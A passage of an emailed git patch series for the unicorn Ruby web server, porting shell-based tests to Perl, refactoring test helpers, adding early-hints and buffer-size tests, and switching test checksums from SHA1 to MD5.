+ $c = tcp_start($srv, $req);
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
- $c = start_req($srv, 'GET /xxxxxx HTTP/1.0');
+ $c = tcp_start($srv, 'GET /xxxxxx HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
}
diff --git a/t/lib.perl b/t/lib.perl
index 315ef2d..1d6e78d 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,8 +10,8 @@ use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
-our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req which spawn check_stderr);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -55,26 +55,28 @@ sub tcp_host_port {
}
}
-sub tcp_connect {
- my ($dest, %opt) = @_;
- my $addr = tcp_host_port($dest);
- my $s = ref($dest)->new(
+sub unix_start ($@) {
+ my ($dst, @req) = @_;
+ my $s = IO::Socket::UNIX->new(Peer => $dst, Type => SOCK_STREAM) or
+ BAIL_OUT "unix connect $dst: $!";
+ $s->autoflush(1);
+ print $s @req, "\r\n\r\n" if @req;
+ $s;
+}
+
+sub tcp_start ($@) {
+ my ($dst, @req) = @_;
+ my $addr = tcp_host_port($dst);
+ my $s = ref($dst)->new(
Proto => 'tcp',
Type => SOCK_STREAM,
PeerAddr => $addr,
- %opt,
) or BAIL_OUT "failed to connect to $addr: $!";
$s->autoflush(1);
+ print $s @req, "\r\n\r\n" if @req;
$s;
}
-sub start_req {
- my ($srv, @req) = @_;
- my $c = tcp_connect($srv);
- print $c @req, "\r\n\r\n";
- $c;
-}
-
sub slurp {
open my $fh, '<', $_[0];
local $/;
[-- Attachment #16: 0015-port-t9000-preread-input.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3856 bytes --]
From 1b8840d8d13491eecd2fa92e06f73c65eadd33ba Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:44 +0000
Subject: [PATCH 15/23] port t9000-preread-input.sh to Perl 5
Stuffing it into t/integration.t for now so we can save on
startup costs.
---
t/integration.t | 32 ++++++++++++++++++++++++---
t/lib.perl | 2 +-
t/preread_input.ru | 4 +---
t/t9000-preread-input.sh | 48 ----------------------------------------
4 files changed, 31 insertions(+), 55 deletions(-)
delete mode 100755 t/t9000-preread-input.sh
diff --git a/t/integration.t b/t/integration.t
index b33e3c3..f5afd5d 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,8 +7,8 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-my $srv = tcp_server();
-my $host_port = tcp_host_port($srv);
+our $srv = tcp_server();
+our $host_port = tcp_host_port($srv);
my $t0 = time;
my $conf = "$tmpdir/u.conf.rb";
open my $conf_fh, '>', $conf;
@@ -209,8 +209,34 @@ SKIP: {
seek($rh, 0, SEEK_SET);
$copt->{0} = $rh;
$do_curl->('-T-');
-}
+ diag 'testing Unicorn::PrereadInput...';
+ local $srv = tcp_server();
+ local $host_port = tcp_host_port($srv);
+ check_stderr;
+ truncate($errfh, 0);
+
+ my $pri = unicorn(qw(-E none t/preread_input.ru), { 3 => $srv });
+ $url = "http://$host_port/";
+
+ $do_curl->(qw(-T t/random_blob));
+ seek($rh, 0, SEEK_SET);
+ $copt->{0} = $rh;
+ $do_curl->('-T-');
+
+ my @pr_err = slurp("$tmpdir/err.log");
+ is(scalar(grep(/app dispatch:/, @pr_err)), 2, 'app dispatched twice');
+
+ # abort a chunked request by blocking curl on a FIFO:
+ $c = tcp_start($srv, "PUT / HTTP/1.1\r\nTransfer-Encoding: chunked");
+ close $c;
+ @pr_err = slurp("$tmpdir/err.log");
+ is(scalar(grep(/app dispatch:/, @pr_err)), 2,
+ 'app did not dispatch on aborted request');
+ undef $pri;
+ check_stderr;
+ diag 'Unicorn::PrereadInput middleware tests done';
+}
# ... more stuff here
diff --git a/t/lib.perl b/t/lib.perl
index 1d6e78d..b6148cf 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -79,7 +79,7 @@ sub tcp_start ($@) {
sub slurp {
open my $fh, '<', $_[0];
- local $/;
+ local $/ if !wantarray;
readline($fh);
}
diff --git a/t/preread_input.ru b/t/preread_input.ru
index 79685c4..f0a1748 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,8 +1,6 @@
#\-E none
require 'digest/sha1'
require 'unicorn/preread_input'
-use Rack::ContentLength
-use Rack::ContentType, "text/plain"
use Unicorn::PrereadInput
nr = 0
run lambda { |env|
@@ -13,5 +11,5 @@
dig.update(buf)
end
- [ 200, {}, [ "#{dig.hexdigest}\n" ] ]
+ [ 200, {}, [ dig.hexdigest ] ]
}
diff --git a/t/t9000-preread-input.sh b/t/t9000-preread-input.sh
deleted file mode 100755
index d6c73ab..0000000
--- a/t/t9000-preread-input.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 9 "PrereadInput middleware tests"
-
-t_begin "setup and start" && {
- random_blob_sha1=$(rsha1 < random_blob)
- unicorn_setup
- unicorn -D -c $unicorn_config preread_input.ru
- unicorn_wait_start
-}
-
-t_begin "single identity request" && {
- curl -sSf -T random_blob http://$listen/ > $tmp
-}
-
-t_begin "sha1 matches" && {
- test x"$(cat $tmp)" = x"$random_blob_sha1"
-}
-
-t_begin "single chunked request" && {
- curl -sSf -T- < random_blob http://$listen/ > $tmp
-}
-
-t_begin "sha1 matches" && {
- test x"$(cat $tmp)" = x"$random_blob_sha1"
-}
-
-t_begin "app only dispatched twice" && {
- test 2 -eq "$(grep 'app dispatch:' < $r_err | count_lines )"
-}
-
-t_begin "aborted chunked request" && {
- rm -f $tmp
- curl -sSf -T- < $fifo http://$listen/ > $tmp &
- curl_pid=$!
- kill -9 $curl_pid
- wait
-}
-
-t_begin "app only dispatched twice" && {
- test 2 -eq "$(grep 'app dispatch:' < $r_err | count_lines )"
-}
-
-t_begin "killing succeeds" && {
- kill -QUIT $unicorn_pid
-}
-
-t_done
[-- Attachment #17: 0016-port-t-t0116-client_body_buffer_size.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 8861 bytes --]
From e9593301044f305d4a0e074f77eea35015ca0ec4 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:45 +0000
Subject: [PATCH 16/23] port t/t0116-client_body_buffer_size.sh to Perl 5
While I'm fine with depending on curl for certain things,
there's no need for it here since unicorn has had lazy
rack.input for over a decade, at this point.
---
t/active-unix-socket.t | 1 +
t/{t0116.ru => client_body_buffer_size.ru} | 2 -
t/client_body_buffer_size.t | 83 ++++++++++++++++++++++
t/integration.t | 10 ---
t/lib.perl | 12 +++-
t/t0116-client_body_buffer_size.sh | 80 ---------------------
6 files changed, 95 insertions(+), 93 deletions(-)
rename t/{t0116.ru => client_body_buffer_size.ru} (82%)
create mode 100644 t/client_body_buffer_size.t
delete mode 100755 t/t0116-client_body_buffer_size.sh
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 8723137..4e11837 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -109,4 +109,5 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
}
check_stderr;
+undef $tmpdir;
done_testing;
diff --git a/t/t0116.ru b/t/client_body_buffer_size.ru
similarity index 82%
rename from t/t0116.ru
rename to t/client_body_buffer_size.ru
index fab5fce..44161a5 100644
--- a/t/t0116.ru
+++ b/t/client_body_buffer_size.ru
@@ -1,6 +1,4 @@
#\ -E none
-use Rack::ContentLength
-use Rack::ContentType, 'text/plain'
app = lambda do |env|
input = env['rack.input']
case env["PATH_INFO"]
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
new file mode 100644
index 0000000..b1a99f3
--- /dev/null
+++ b/t/client_body_buffer_size.t
@@ -0,0 +1,83 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $uconf = "$tmpdir/u.conf.rb";
+
+open my $conf_fh, '>', $uconf;
+$conf_fh->autoflush(1);
+print $conf_fh <<EOM;
+client_body_buffer_size 0
+EOM
+my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
+my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $uconf);
+my $ar = unicorn(@uarg, { 3 => $srv });
+my ($c, $status, $hdr);
+my $mem_class = 'StringIO';
+my $fs_class = 'Unicorn::TmpIO';
+
+$c = tcp_start($srv, "PUT /input_class HTTP/1.0\r\nContent-Length: 0");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, 'zero-byte file is StringIO');
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: 1");
+print $c '.';
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 byte file is filesystem-backed');
+
+
+my $fifo = "$tmpdir/fifo";
+POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
+seek($conf_fh, 0, SEEK_SET);
+truncate($conf_fh, 0);
+print $conf_fh <<EOM;
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+$ar->do_kill('HUP');
+open my $fifo_fh, '<', $fifo;
+like(my $wpid = readline($fifo_fh), qr/\Apid=\d+\z/a ,
+ 'reloaded w/ default client_body_buffer_size');
+
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: 1");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, 'class for a 1 byte file is memory-backed');
+
+
+my $one_meg = 1024 ** 2;
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $one_meg");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 megabyte file is FS-backed');
+
+# reload with bigger client_body_buffer_size
+say $conf_fh "client_body_buffer_size $one_meg";
+$ar->do_kill('HUP');
+open $fifo_fh, '<', $fifo;
+like($wpid = readline($fifo_fh), qr/\Apid=\d+\z/a ,
+ 'reloaded w/ bigger client_body_buffer_size');
+
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $one_meg");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, '1 megabyte file is now memory-backed');
+
+my $too_big = $one_meg + 1;
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $too_big");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 megabyte + 1 byte file is FS-backed');
+
+
+undef $ar;
+check_stderr;
+undef $tmpdir;
+done_testing;
diff --git a/t/integration.t b/t/integration.t
index f5afd5d..855c260 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -15,16 +15,6 @@ open my $conf_fh, '>', $conf;
$conf_fh->autoflush(1);
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
-END { diag slurp("$tmpdir/err.log") if $tmpdir };
-sub slurp_hdr {
- my ($c) = @_;
- local $/ = "\r\n\r\n"; # affects both readline+chomp
- chomp(my $hdr = readline($c));
- my ($status, @hdr) = split(/\r\n/, $hdr);
- diag explain([ $status, \@hdr ]) if $ENV{V};
- ($status, \@hdr);
-}
-
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
diff --git a/t/lib.perl b/t/lib.perl
index b6148cf..2685c3b 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -11,11 +11,12 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port which spawn check_stderr unix_start);
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
open($errfh, '>>', "$tmpdir/err.log");
+END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub check_stderr () {
my @log = slurp("$tmpdir/err.log");
@@ -25,6 +26,15 @@ sub check_stderr () {
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
}
+sub slurp_hdr {
+ my ($c) = @_;
+ local $/ = "\r\n\r\n"; # affects both readline+chomp
+ chomp(my $hdr = readline($c));
+ my ($status, @hdr) = split(/\r\n/, $hdr);
+ diag explain([ $status, \@hdr ]) if $ENV{V};
+ ($status, \@hdr);
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
diff --git a/t/t0116-client_body_buffer_size.sh b/t/t0116-client_body_buffer_size.sh
deleted file mode 100755
index c9e17c7..0000000
--- a/t/t0116-client_body_buffer_size.sh
+++ /dev/null
@@ -1,80 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 12 "client_body_buffer_size settings"
-
-t_begin "setup and start" && {
- unicorn_setup
- rtmpfiles unicorn_config_tmp one_meg
- dd if=/dev/zero bs=1M count=1 of=$one_meg
- cat >> $unicorn_config <<EOF
-after_fork do |server, worker|
- File.open("$fifo", "wb") { |fp| fp.syswrite "START" }
-end
-EOF
- cat $unicorn_config > $unicorn_config_tmp
- echo client_body_buffer_size 0 >> $unicorn_config
- unicorn -D -c $unicorn_config t0116.ru
- unicorn_wait_start
- fs_class=Unicorn::TmpIO
- mem_class=StringIO
-
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "class for a zero-byte file should be StringIO" && {
- > $tmp
- test xStringIO = x"$(curl -T $tmp -sSf http://$listen/input_class)"
-}
-
-t_begin "class for a 1 byte file should be filesystem-backed" && {
- echo > $tmp
- test x$fs_class = x"$(curl -T $tmp -sSf http://$listen/tmp_class)"
-}
-
-t_begin "reload with default client_body_buffer_size" && {
- mv $unicorn_config_tmp $unicorn_config
- kill -HUP $unicorn_pid
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "class for a 1 byte file should be memory-backed" && {
- echo > $tmp
- test x$mem_class = x"$(curl -T $tmp -sSf http://$listen/tmp_class)"
-}
-
-t_begin "class for a random blob file should be filesystem-backed" && {
- resp="$(curl -T random_blob -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "one megabyte file should be filesystem-backed" && {
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "reload with a big client_body_buffer_size" && {
- echo "client_body_buffer_size(1024 * 1024)" >> $unicorn_config
- kill -HUP $unicorn_pid
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "one megabyte file should be memory-backed" && {
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$mem_class = x"$resp"
-}
-
-t_begin "one megabyte + 1 byte file should be filesystem-backed" && {
- echo >> $one_meg
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
[-- Attachment #18: 0017-tests-get-rid-of-sha1sum.rb-and-rsha1-sh-function.patch --]
[-- Type: text/x-diff, Size: 1255 bytes --]
From b47912160f2336dde3901e588cc23fb2c2f8d9dc Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:46 +0000
Subject: [PATCH 17/23] tests: get rid of sha1sum.rb and rsha1() sh function
These are no longer needed since Perl has long included
Digest::SHA
---
t/bin/sha1sum.rb | 17 -----------------
t/test-lib.sh | 4 ----
2 files changed, 21 deletions(-)
delete mode 100755 t/bin/sha1sum.rb
diff --git a/t/bin/sha1sum.rb b/t/bin/sha1sum.rb
deleted file mode 100755
index 53d68ce..0000000
--- a/t/bin/sha1sum.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/usr/bin/env ruby
-# -*- encoding: binary -*-
-# Reads from stdin and outputs the SHA1 hex digest of the input
-
-require 'digest/sha1'
-$stdout.sync = $stderr.sync = true
-$stdout.binmode
-$stdin.binmode
-bs = 16384
-digest = Digest::SHA1.new
-if buf = $stdin.read(bs)
- begin
- digest.update(buf)
- end while $stdin.read(bs, buf)
-end
-
-$stdout.syswrite("#{digest.hexdigest}\n")
diff --git a/t/test-lib.sh b/t/test-lib.sh
index e70d0c6..8613144 100644
--- a/t/test-lib.sh
+++ b/t/test-lib.sh
@@ -123,7 +123,3 @@ unicorn_wait_start () {
# no need to play tricks with FIFOs since we got "ready_pipe" now
unicorn_pid=$(cat $pid)
}
-
-rsha1 () {
- sha1sum.rb
-}
[-- Attachment #19: 0018-early_hints-supports-Rack-3-array-headers.patch --]
[-- Type: text/x-diff, Size: 4606 bytes --]
From 6ad9f4b54ee16ffecea7e16b710552b45db33a16 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:47 +0000
Subject: [PATCH 18/23] early_hints supports Rack 3 array headers
We can hoist out append_headers into a new method and use it in
both e103_response_write and http_response_write.
t/integration.t now tests early_hints with both possible
values of check_client_connection.
---
t/integration.ru | 7 +++++++
t/integration.t | 47 ++++++++++++++++++++++++++++++++++++++++++-----
2 files changed, 49 insertions(+), 5 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index edc408c..dab384d 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -5,6 +5,11 @@
# this goes for t/integration.t We'll try to put as many tests
# in here as possible to avoid startup overhead of Ruby.
+def early_hints(env, val)
+ env['rack.early_hints'].call('link' => val) # val may be ary or string
+ [ 200, {}, [ val.class.to_s ] ]
+end
+
$orig_rack_200 = nil
def tweak_status_code
$orig_rack_200 = Rack::Utils::HTTP_STATUS_CODES[200]
@@ -81,6 +86,8 @@ def rack_input_tests(env)
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
+ when '/early_hints_rack2'; early_hints(env, "r\n2")
+ when '/early_hints_rack3'; early_hints(env, %w(r 3))
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 855c260..8433497 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -13,8 +13,16 @@ my $t0 = time;
my $conf = "$tmpdir/u.conf.rb";
open my $conf_fh, '>', $conf;
$conf_fh->autoflush(1);
+my $u1 = "$tmpdir/u1";
+print $conf_fh <<EOM;
+early_hints true
+listen "$u1"
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
+my $fifo = "$tmpdir/fifo";
+POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
@@ -102,6 +110,26 @@ $c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
+my $ck_early_hints = sub {
+ my ($note) = @_;
+ $c = unix_start($u1, 'GET /early_hints_rack2 HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 103\b!, 'got 103 for rack 2 value');
+ is_deeply(['link: r', 'link: 2'], $hdr, 'rack 2 hints match '.$note);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'got 200 afterwards');
+ is(readline($c), 'String', 'early hints used a String for rack 2');
+
+ $c = unix_start($u1, 'GET /early_hints_rack3 HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 103\b!, 'got 103 for rack 3');
+ is_deeply(['link: r', 'link: 3'], $hdr, 'rack 3 hints match '.$note);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'got 200 afterwards');
+ is(readline($c), 'Array', 'early hints used a String for rack 3');
+};
+$ck_early_hints->('ccc off'); # we'll retest later
+
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
$c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
@@ -154,6 +182,7 @@ if ('bad requests') {
# input tests
my ($blob_size, $blob_hash);
SKIP: {
+ skip 'SKIP_EXPENSIVE on', 1 if $ENV{SKIP_EXPENSIVE};
CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
@@ -232,16 +261,24 @@ SKIP: {
# SIGHUP-able stuff goes here
+if ('check_client_connection') {
+ print $conf_fh <<EOM; # appending to existing
+check_client_connection true
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+ $ar->do_kill('HUP');
+ open my $fifo_fh, '<', $fifo;
+ my $wpid = readline($fifo_fh);
+ like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
+ $ck_early_hints->('ccc on');
+}
+
if ('max_header_len internal API') {
undef $c;
my $req = 'GET / HTTP/1.0';
my $len = length($req."\r\n\r\n");
- my $fifo = "$tmpdir/fifo";
- POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
- print $conf_fh <<EOM;
+ print $conf_fh <<EOM; # appending to existing
Unicorn::HttpParser.max_header_len = $len
-listen "$host_port" # TODO: remove this requirement for SIGHUP
-after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
EOM
$ar->do_kill('HUP');
open my $fifo_fh, '<', $fifo;
[-- Attachment #20: 0019-test_server-drop-early_hints-test.patch --]
[-- Type: text/x-diff, Size: 1737 bytes --]
From 3e6bc9fb589fd88469349a38a77704c3333623e0 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:48 +0000
Subject: [PATCH 19/23] test_server: drop early_hints test
t/integration.t already is more complete in that it tests
both Rack 2 and 3 along with both possible values of
check_client_connection.
---
test/unit/test_server.rb | 31 -------------------------------
1 file changed, 31 deletions(-)
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index fe98fcc..0a710d1 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -23,17 +23,6 @@ def call(env)
end
end
-class TestEarlyHintsHandler
- def call(env)
- while env['rack.input'].read(4096)
- end
- env['rack.early_hints'].call(
- "Link" => "</style.css>; rel=preload; as=style\n</script.js>; rel=preload"
- )
- [200, { 'content-type' => 'text/plain' }, ['hello!\n']]
- end
-end
-
class TestRackAfterReply
def initialize
@called = false
@@ -112,26 +101,6 @@ def test_preload_app_config
tmp.close!
end
- def test_early_hints
- teardown
- redirect_test_io do
- @server = HttpServer.new(TestEarlyHintsHandler.new,
- :listeners => [ "127.0.0.1:#@port"],
- :early_hints => true)
- @server.start
- end
-
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("GET / HTTP/1.0\r\n\r\n")
-
- responses = sock.read(4096)
- assert_match %r{\AHTTP/1.[01] 103\b}, responses
- assert_match %r{^Link: </style\.css>}, responses
- assert_match %r{^Link: </script\.js>}, responses
-
- assert_match %r{^HTTP/1.[01] 200\b}, responses
- end
-
def test_after_reply
teardown
[-- Attachment #21: 0020-t-integration.t-switch-PUT-tests-to-MD5-reuse-buffer.patch --]
[-- Type: text/x-diff, Size: 3740 bytes --]
From cb826915cdd1881cbcfc1fb4e645d26244dfda71 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:49 +0000
Subject: [PATCH 20/23] t/integration.t: switch PUT tests to MD5, reuse buffers
MD5 is faster, and these tests aren't meant to be secure,
they're just for checking for data corruption.
Furthermore, Content-MD5 is a supported HTTP trailer and
we can verify that here to obsolete other tests.
Furthermore, we can reuse buffers on env['rack.input'].read
calls to avoid malloc(3) and GC overhead.
Combined, these give roughly a 3% speedup for t/integration.t
on my system.
---
t/integration.ru | 20 +++++++++++++++-----
t/integration.t | 5 ++---
t/preread_input.ru | 17 ++++++++++++-----
3 files changed, 29 insertions(+), 13 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index dab384d..086126a 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -55,8 +55,8 @@ def env_dump(env)
def rack_input_tests(env)
return [ 100, {}, [] ] if /\A100-continue\z/i =~ env['HTTP_EXPECT']
cap = 16384
- require 'digest/sha1'
- digest = Digest::SHA1.new
+ require 'digest/md5'
+ dig = Digest::MD5.new
input = env['rack.input']
case env['PATH_INFO']
when '/rack_input/size_first'; input.size
@@ -68,11 +68,21 @@ def rack_input_tests(env)
if buf = input.read(rand(cap))
begin
raise "#{buf.size} > #{cap}" if buf.size > cap
- digest.update(buf)
+ dig.update(buf)
end while input.read(rand(cap), buf)
+ buf.clear # remove this call if Ruby ever gets escape analysis
end
- [ 200, {'content-length' => '40', 'content-type' => 'text/plain'},
- [ digest.hexdigest ] ]
+ h = { 'content-type' => 'text/plain' }
+ if env['HTTP_TRAILER'] =~ /\bContent-MD5\b/i
+ cmd5_b64 = env['HTTP_CONTENT_MD5'] or return [500, {}, ['No Content-MD5']]
+ cmd5_bin = cmd5_b64.unpack('m')[0]
+ if cmd5_bin != dig.digest
+ h['content-length'] = cmd5_b64.size.to_s
+ return [ 500, h, [ cmd5_b64 ] ]
+ end
+ end
+ h['content-length'] = '32'
+ [ 200, h, [ dig.hexdigest ] ]
end
run(lambda do |env|
diff --git a/t/integration.t b/t/integration.t
index 8433497..38a9675 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -27,7 +27,6 @@ my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
my $bs = $opt{bs} // 16384;
- require Digest::MD5;
my $dig = Digest::MD5->new;
print $out <<EOM;
PUT $path HTTP/1.1\r
@@ -186,8 +185,8 @@ SKIP: {
CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
- require Digest::SHA;
- $blob_hash = Digest::SHA->new(1)->addfile($rh)->hexdigest;
+ require Digest::MD5;
+ $blob_hash = Digest::MD5->new->addfile($rh)->hexdigest;
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
diff --git a/t/preread_input.ru b/t/preread_input.ru
index f0a1748..18af221 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,15 +1,22 @@
#\-E none
-require 'digest/sha1'
+require 'digest/md5'
require 'unicorn/preread_input'
use Unicorn::PrereadInput
nr = 0
run lambda { |env|
$stderr.write "app dispatch: #{nr += 1}\n"
input = env["rack.input"]
- dig = Digest::SHA1.new
- while buf = input.read(16384)
- dig.update(buf)
+ dig = Digest::MD5.new
+ if buf = input.read(16384)
+ begin
+ dig.update(buf)
+ end while input.read(16384, buf)
+ buf.clear # remove this call if Ruby ever gets escape analysis
+ end
+ if env['HTTP_TRAILER'] =~ /\bContent-MD5\b/i
+ cmd5_b64 = env['HTTP_CONTENT_MD5'] or return [500, {}, ['No Content-MD5']]
+ cmd5_bin = cmd5_b64.unpack('m')[0]
+ return [500, {}, [ cmd5_b64 ] ] if cmd5_bin != dig.digest
end
-
[ 200, {}, [ dig.hexdigest ] ]
}
[-- Attachment #22: 0021-tests-move-test_upload.rb-tests-to-t-integration.t.patch --]
[-- Type: text/x-diff, Size: 12280 bytes --]
From 181e4b5b6339fc5e9c3ad7d3690b736f6bd038aa Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:50 +0000
Subject: [PATCH 21/23] tests: move test_upload.rb tests to t/integration.t
The overread tests are ported over, and checksumming alone
is enough to guard against data corruption.
Randomizing the size of `read' calls on the client side will
shake out any boundary bugs on the server side.
---
t/integration.t | 32 ++++-
test/unit/test_upload.rb | 301 ---------------------------------------
2 files changed, 27 insertions(+), 306 deletions(-)
delete mode 100644 test/unit/test_upload.rb
diff --git a/t/integration.t b/t/integration.t
index 38a9675..a568758 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -26,7 +26,6 @@ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
- my $bs = $opt{bs} // 16384;
my $dig = Digest::MD5->new;
